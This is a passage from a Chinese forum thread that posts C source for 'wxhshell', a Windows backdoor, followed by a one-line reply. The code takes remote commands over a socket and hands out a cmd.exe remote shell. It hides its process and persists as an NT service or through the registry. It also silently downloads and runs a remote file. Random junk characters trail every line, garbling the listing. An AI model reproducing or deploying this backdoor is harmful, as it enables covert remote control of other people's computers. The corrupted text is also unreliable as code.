  else { dfWtLY  
;"JgNad  
    switch(cmd[0]) { 46gDoSS  
  &EJ/Rl  
  // 帮助 cQrXrij;!  
  case '?': { N fND@m{/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m*vz   
    break; Q=t_m(:0  
  } FXh*!%"*  
  // 安装 iM M s3  
  case 'i': { ?D['>Rzu  
    if(Install()) Xa_:B\ic  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cK\'D  
    else +zZ]Txb(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :;KQ]<  
    break; 2Ws'3Jz  
    } H $mZ?  
  // 卸载 ufo\p=pGG  
  case 'r': { :eFyd`Syw  
    if(Uninstall()) ~~}8D"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^f9>tI{  
    else 5h6-aQU[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T[kS;-x  
    break; &"DD&87N%  
    } {Zo*FZcaX  
  // 显示 wxhshell 所在路径 4@=[r Zb9  
  case 'p': { P5__[aTD  
    char svExeFile[MAX_PATH]; 00pe4^U  
    strcpy(svExeFile,"\n\r"); x\8gb#8  
      strcat(svExeFile,ExeFile); zQoJ8i>  
        send(wsh,svExeFile,strlen(svExeFile),0); R~BFZF>:  
    break; _7<G6q2(  
    } {EJ+   
  // 重启 FTu<$`!1L  
  case 'b': { Lw`}o`D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uTvf[%EHW  
    if(Boot(REBOOT)) N`O0jH{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >N"=10  
    else { )3^#CD  
    closesocket(wsh); d(^3S>V|q  
    ExitThread(0); ~h$ H@&5  
    } .F3~eas  
    break; Y mm*p,`  
    } GW2v&Ul7(  
  // 关机 A>6_h1  
  case 'd': { Y4N)yMSl"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #M<u^$Jz  
    if(Boot(SHUTDOWN)) 2=$ F*B>9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2{S*$K[M  
    else { ;ZTh(_7  
    closesocket(wsh); 'y7<!uo?  
    ExitThread(0); 0aGAF ]  
    } n/^QPR$>.  
    break; gB0Q0d3\G,  
    } E//*bmww  
  // 获取shell *_"lXcG.  
  case 's': { i}@5<&J  
    CmdShell(wsh); FYH^axpp  
    closesocket(wsh); {'cdi`  
    ExitThread(0); j#${L6  
    break; Kr%`L/%  
  } ZVz*1]}  
  // 退出 le2 v"Y  
  case 'x': { ,.V=y%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @}{Fw;,(7n  
    CloseIt(wsh); >Sm#-4B-  
    break; gXB&Sgjo  
    } 10*^  
  // 离开 V,eH E5C  
  case 'q': { Hr/J6kyB)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MJ.Kor  
    closesocket(wsh); cyWDtq  
    WSACleanup(); Co`:D  
    exit(1); jyC>~}?  
    break; M \>5",0  
        } dfs1BV'  
  } i>;6Z s>S  
  } D66!C{  
j4h?"  
  // 提示信息 l6!a?C[2T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >|JMvbje  
} sE0,b  
  } O9Yk5b;  
L'a>D  
  return; {>l`P{{y  
} K_V$ktL  
yJw4!A 1!  
// shell模块句柄 /(bn+l}W  
int CmdShell(SOCKET sock) qGie~S ##  
{ y |Tv;v1L  
STARTUPINFO si; s4>xh=PoJ  
ZeroMemory(&si,sizeof(si)); Yq:TW eZD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +ID% (:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kYkck]|  
PROCESS_INFORMATION ProcessInfo; u!cA_,  
char cmdline[]="cmd"; T\L LOx\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e{d$OzT) V  
  return 0; ;\t(c  
} ni3A+Y0  
qFjnuQ,w  
// 自身启动模式 r'u[>uY  
int StartFromService(void) 9R4q^tGR\  
{ *. ; }v@  
typedef struct 5v#_2Ih  
{ {4b8s%:!4  
  DWORD ExitStatus; <nn!9V\C   
  DWORD PebBaseAddress; RQ[6svfP  
  DWORD AffinityMask; e6^iakSd.L  
  DWORD BasePriority; 2LH.If  
  ULONG UniqueProcessId; #NWc<Dd  
  ULONG InheritedFromUniqueProcessId; ,y/N^^\  
}   PROCESS_BASIC_INFORMATION; H/Ov8|  
<(caY37o6)  
PROCNTQSIP NtQueryInformationProcess; #:/-8Z(0  
Xr pnc 7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i- r y5x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y--Uo|H  
xsXf_gGu  
  HANDLE             hProcess; on0>_-n)  
  PROCESS_BASIC_INFORMATION pbi; S|ADu]H(  
(+0yZ7AZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wGnFDkCNz  
  if(NULL == hInst ) return 0; u/L\e.4  
)9>E} SU/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G-sA)WOF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y&+Sp/6BYA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 44cy_  
TzK[:o  
  if (!NtQueryInformationProcess) return 0; h`/1JjP  
Toc="F`SW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W>`#`u  
  if(!hProcess) return 0; 6o ]X.plr  
=%oKYQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j0[9Cj^%c  
KR/SMwy  
  CloseHandle(hProcess); *7 >K"j  
-AU!c^-o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9~WjCa*,&  
if(hProcess==NULL) return 0; yn-TN_/Y,  
#me'1/z  
HMODULE hMod; p*(]8pDC  
char procName[255]; V .VV:`S  
unsigned long cbNeeded; Fs)m;C  
.=4k'99,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7 {#^ zr  
Tof H =d  
  CloseHandle(hProcess); j4.deQ,  
4';(\42  
if(strstr(procName,"services")) return 1; // 以服务启动 bO?Us  
C\p _  
  return 0; // 注册表启动 XvspE}~y  
} eLAhfG  
~eHu +pv  
// 主模块 Se %"C&  
int StartWxhshell(LPSTR lpCmdLine) ZtqN8$[6n  
{ w@ =Uf7  
  SOCKET wsl; Og~3eL[1%C  
BOOL val=TRUE; T)PH8 "  
  int port=0; t@\op}Z-M  
  struct sockaddr_in door; 6H}8^'/u  
KN9e""  
  if(wscfg.ws_autoins) Install(); Acib<Mi2!-  
5 MD=o7O^  
port=atoi(lpCmdLine); ,\n%e'  
A&6qt  
if(port<=0) port=wscfg.ws_port; C| Vz `FY  
o2M4?}TpIV  
  WSADATA data; Y:} !W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \@HsMV2+zN  
)S6"I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^J Y]w^u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 73OYHp_j  
  door.sin_family = AF_INET; (Cjw^P|Y@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w*"h#^1z  
  door.sin_port = htons(port); !c8hER!  
:Pf2oQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &*wc` U  
closesocket(wsl); Da"GYEC  
return 1; +_LWN8F  
} W{v-(pW  
CA{(x(W\:  
  if(listen(wsl,2) == INVALID_SOCKET) { COf>H0^%Q  
closesocket(wsl); .IJgkP)!]  
return 1; ESAFsJ$r;  
} s5'So@L8  
  Wxhshell(wsl); e[a?5,s2  
  WSACleanup(); q!P{a^Fnc  
xK3}z N$T  
return 0; 2{E"#}/  
z(&~O;;N#  
} I,xV&j+<  
2E":6:Wsw  
// 以NT服务方式启动 J<'I.KZ\z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I2PFJXp_]n  
{ S*-/#j  
DWORD   status = 0; hO@VYO   
  DWORD   specificError = 0xfffffff; 7D%}( pX  
a yQB@2%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;K9rE3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oH|<(8efD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ry%Fs&V*>  
  serviceStatus.dwWin32ExitCode     = 0; #n8jn#  
  serviceStatus.dwServiceSpecificExitCode = 0; Wa|lWIMK  
  serviceStatus.dwCheckPoint       = 0; %"0g}tK6  
  serviceStatus.dwWaitHint       = 0; )W& $FU4JK  
 1ZF>e`t8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \.%GgTF  
  if (hServiceStatusHandle==0) return; B:Xmc,|,  
7#BU d/  
status = GetLastError(); ()>,L? y  
  if (status!=NO_ERROR) %!i|"FNc  
{ EecV%E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C{8d^SCA"  
    serviceStatus.dwCheckPoint       = 0; }QqmDK.  
    serviceStatus.dwWaitHint       = 0; `fRp9o/  
    serviceStatus.dwWin32ExitCode     = status; oG_-a(N  
    serviceStatus.dwServiceSpecificExitCode = specificError; xiW;Y{kZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s;;"^5B.  
    return; T$ )dc^  
  } _v9P0W^.7  
/{9"O y7E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _a 40lcP  
  serviceStatus.dwCheckPoint       = 0; VV1I2YcKt  
  serviceStatus.dwWaitHint       = 0; \)Bws `  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5/),HGxi  
} )Q%hd|R  
-}Iw!p#O3  
// 处理NT服务事件,比如:启动、停止 Uxyj\p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1/H9(2{L  
{ XPt<k&o1,  
switch(fdwControl) Do&/+Ssnu  
{ b&V}&9'[M;  
case SERVICE_CONTROL_STOP: I;<aJo6Yl  
  serviceStatus.dwWin32ExitCode = 0; 2-<i#nA3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J~jR`2+r  
  serviceStatus.dwCheckPoint   = 0; %fyah}=  
  serviceStatus.dwWaitHint     = 0; /bd1Bi  
  { LPNJuz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7O,y%NWaK  
  } }RvP*i  
  return; @l:o0(!W  
case SERVICE_CONTROL_PAUSE: JP t=~e(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 18AKM  
  break; pUz;e#J|  
case SERVICE_CONTROL_CONTINUE: z[I3k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `;9Z?]}`  
  break; 1%nE  
case SERVICE_CONTROL_INTERROGATE: FesXY856E  
  break; [Ie;Jd>gG  
}; Z7X_U` Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wewYlm5@  
} VNmQ'EuV}2  
5IPZ;  
// 标准应用程序主函数 !Cpy )D(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .ZB(!v/2  
{ 9f ^c9@=  
x dT1jI  
// 获取操作系统版本 >2[\WF*"X  
OsIsNt=GetOsVer(); 1$*ZN4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "0(H! }D  
V u/{Hr  
  // 从命令行安装 C#r1zr6  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y|NANjEAfm  
h}k/okG  
  // 下载执行文件 !`rR;5&sT  
if(wscfg.ws_downexe) { a&Stdh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $X9`~Sv _  
  WinExec(wscfg.ws_filenam,SW_HIDE); bk-veJR  
} TA.ugF)h  
.^fVm  
if(!OsIsNt) { J m5).  
// 如果时win9x,隐藏进程并且设置为注册表启动 fR& ;E  
HideProc(); 6,707h  
StartWxhshell(lpCmdLine); K|q5s]4I  
} <Oi65O_X  
else %q~YJ*\  
  if(StartFromService()) e-Xr^@M*Q  
  // 以服务方式启动 nNCG*Vu  
  StartServiceCtrlDispatcher(DispatchTable); o~vUqj?BA  
else xIN&>D'|N  
  // 普通方式启动 vnNX)$f  
  StartWxhshell(lpCmdLine); P9Yw\   
0~(K@U>#  
return 0; YTc X4cC  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八